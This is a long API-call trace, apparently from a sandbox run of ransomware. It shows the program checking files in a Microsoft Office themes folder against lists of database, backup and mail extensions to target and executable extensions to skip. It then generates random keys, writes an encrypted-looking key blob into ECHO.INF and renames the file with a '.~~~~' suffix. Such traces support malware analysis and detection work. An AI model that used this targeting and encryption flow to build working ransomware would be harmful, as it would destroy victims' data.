	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".EDB") returned 0x0
	[0084.115] lstrlenW (lpString=".DACPAC") returned 7
	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".DACPAC") returned 0x0
	[0084.115] lstrlenW (lpString=".VHD") returned 4
	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".VHD") returned 0x0
	[0084.115] lstrlenW (lpString=".DBV") returned 4
	[0084.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".DBV") returned 0x0
	[0084.115] lstrlenW (lpString=".dacpac") returned 7
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".dacpac") returned 0x0
	[0084.116] lstrlenW (lpString=".sdf") returned 4
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".sdf") returned 0x0
	[0084.116] lstrlenW (lpString=".accdb") returned 6
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".accdb") returned 0x0
	[0084.116] lstrlenW (lpString=".DBX") returned 4
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".DBX") returned 0x0
	[0084.116] lstrlenW (lpString=".MDT") returned 4
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".MDT") returned 0x0
	[0084.116] lstrlenW (lpString=".SQB") returned 4
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".SQB") returned 0x0
	[0084.116] lstrlenW (lpString=".vhd") returned 4
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".vhd") returned 0x0
	[0084.116] lstrlenW (lpString=".bac") returned 4
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".bac") returned 0x0
	[0084.116] lstrlenW (lpString=".mdf") returned 4
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".mdf") returned 0x0
	[0084.116] lstrlenW (lpString=".BAK") returned 4
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".BAK") returned 0x0
	[0084.116] lstrlenW (lpString=".BAC") returned 4
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".BAC") returned 0x0
	[0084.116] lstrlenW (lpString=".dbs") returned 4
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".dbs") returned 0x0
	[0084.116] lstrlenW (lpString=".vhdx") returned 5
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".vhdx") returned 0x0
	[0084.116] lstrlenW (lpString=".NDF") returned 4
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".NDF") returned 0x0
	[0084.116] lstrlenW (lpString=".dat") returned 4
	[0084.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".dat") returned 0x0
	[0084.117] lstrlenW (lpString=".DBS") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".DBS") returned 0x0
	[0084.117] lstrlenW (lpString=".CKP") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".CKP") returned 0x0
	[0084.117] lstrlenW (lpString=".edb") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".edb") returned 0x0
	[0084.117] lstrlenW (lpString=".PST") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".PST") returned 0x0
	[0084.117] lstrlenW (lpString=".dbf") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".dbf") returned 0x0
	[0084.117] lstrlenW (lpString=".SQL") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".SQL") returned 0x0
	[0084.117] lstrlenW (lpString=".pst") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".pst") returned 0x0
	[0084.117] lstrlenW (lpString=".dbv") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".dbv") returned 0x0
	[0084.117] lstrlenW (lpString=".SDF") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".SDF") returned 0x0
	[0084.117] lstrlenW (lpString=".dtxs") returned 5
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".dtxs") returned 0x0
	[0084.117] lstrlenW (lpString=".db3") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".db3") returned 0x0
	[0084.117] lstrlenW (lpString=".OST") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".OST") returned 0x0
	[0084.117] lstrlenW (lpString=".dbx") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".dbx") returned 0x0
	[0084.117] lstrlenW (lpString=".DB3") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".DB3") returned 0x0
	[0084.117] lstrlenW (lpString=".DAT") returned 4
	[0084.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".DAT") returned 0x0
	[0084.117] lstrlenW (lpString=".VHDX") returned 5
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".VHDX") returned 0x0
	[0084.118] lstrlenW (lpString=".ndf") returned 4
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".ndf") returned 0x0
	[0084.118] lstrlenW (lpString=".DB") returned 3
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".DB") returned 0x0
	[0084.118] lstrlenW (lpString=".sql") returned 4
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".sql") returned 0x0
	[0084.118] lstrlenW (lpString=".MYD") returned 4
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".MYD") returned 0x0
	[0084.118] lstrlenW (lpString=".DBT") returned 4
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".DBT") returned 0x0
	[0084.118] lstrlenW (lpString=".ACCDB") returned 6
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".ACCDB") returned 0x0
	[0084.118] lstrlenW (lpString=".fdb") returned 4
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".fdb") returned 0x0
	[0084.118] lstrlenW (lpString=".bak") returned 4
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".bak") returned 0x0
	[0084.118] lstrlenW (lpString=".myd") returned 4
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".myd") returned 0x0
	[0084.118] lstrlenW (lpString=".DTXS") returned 5
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".DTXS") returned 0x0
	[0084.118] lstrlenW (lpString=".ckp") returned 4
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".ckp") returned 0x0
	[0084.118] lstrlenW (lpString=".dbt") returned 4
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".dbt") returned 0x0
	[0084.118] lstrlenW (lpString=".db") returned 3
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".db") returned 0x0
	[0084.118] lstrlenW (lpString=".TXT") returned 4
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".TXT") returned 0x0
	[0084.118] lstrlenW (lpString=".MDF") returned 4
	[0084.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".MDF") returned 0x0
	[0084.119] lstrlenW (lpString=".bdb") returned 4
	[0084.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".bdb") returned 0x0
	[0084.119] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0084.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.119] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.120] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.120] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0084.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.120] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20410988500) returned 1
	[0084.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bf85030, dwHighDateTime=0x1d60e1e)) 
	[0084.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0084.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0084.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0084.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2598
	[0084.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2598 | out: hHeap=0x300000) returned 1
	[0084.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807f40
	[0084.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807f40 | out: hHeap=0x300000) returned 1
	[0084.120] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.120] GetLastError () returned 0x0
	[0084.121] GetLastError () returned 0x0
	[0084.121] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.121] GetLastError () returned 0x0
	[0084.121] GetLastError () returned 0x0
	[0084.122] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffe09, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.122] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x1f7, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1f7, lpOverlapped=0x0) returned 1
	[0084.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.123] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.123] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.123] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.123] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.123] CloseHandle (hObject=0x118) returned 1
	[0084.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807f40
	[0084.123] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.~~~~")) returned 1
	[0084.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807f40 | out: hHeap=0x300000) returned 1
	[0084.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.124] GetLastError () returned 0x0
	[0084.124] RtlWakeConditionVariable () returned 0x365f70
	[0084.124] GetCurrentThreadId () returned 0xaf0
	[0084.124] GetCurrentThreadId () returned 0xaf0
	[0084.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807ca0
	[0084.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808090 | out: hHeap=0x300000) returned 1
	[0084.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a25d0 | out: hHeap=0x300000) returned 1
	[0084.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808090
	[0084.124] lstrlenW (lpString=".scr") returned 4
	[0084.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.124] lstrlenW (lpString=".cmd") returned 4
	[0084.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.124] lstrlenW (lpString=".dll") returned 4
	[0084.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.124] lstrlenW (lpString=".bat") returned 4
	[0084.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.124] lstrlenW (lpString=".cpl") returned 4
	[0084.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.124] lstrlenW (lpString=".sys") returned 4
	[0084.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.125] lstrlenW (lpString=".msc") returned 4
	[0084.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.125] lstrlenW (lpString=".com") returned 4
	[0084.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.125] lstrlenW (lpString=".lnk") returned 4
	[0084.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.125] lstrlenW (lpString=".msp") returned 4
	[0084.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.125] lstrlenW (lpString=".pif") returned 4
	[0084.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.125] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0084.125] lstrlenW (lpString=".sqb") returned 4
	[0084.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.125] lstrlenW (lpString=".ost") returned 4
	[0084.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.125] lstrlenW (lpString=".txt") returned 4
	[0084.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.125] lstrlenW (lpString=".mdt") returned 4
	[0084.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.126] lstrlenW (lpString=".BDB") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.126] lstrlenW (lpString=".eql") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.126] lstrlenW (lpString=".DBF") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.126] lstrlenW (lpString=".EQL") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.126] lstrlenW (lpString=".FDB") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.126] lstrlenW (lpString=".EDB") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.126] lstrlenW (lpString=".DACPAC") returned 7
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.126] lstrlenW (lpString=".VHD") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.126] lstrlenW (lpString=".DBV") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.126] lstrlenW (lpString=".dacpac") returned 7
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.126] lstrlenW (lpString=".sdf") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.126] lstrlenW (lpString=".accdb") returned 6
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.126] lstrlenW (lpString=".DBX") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.126] lstrlenW (lpString=".MDT") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.126] lstrlenW (lpString=".SQB") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.126] lstrlenW (lpString=".vhd") returned 4
	[0084.126] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.127] lstrlenW (lpString=".bac") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.127] lstrlenW (lpString=".mdf") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.127] lstrlenW (lpString=".BAK") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.127] lstrlenW (lpString=".BAC") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.127] lstrlenW (lpString=".dbs") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.127] lstrlenW (lpString=".vhdx") returned 5
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.127] lstrlenW (lpString=".NDF") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.127] lstrlenW (lpString=".dat") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.127] lstrlenW (lpString=".DBS") returned 4
	[0084.127] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
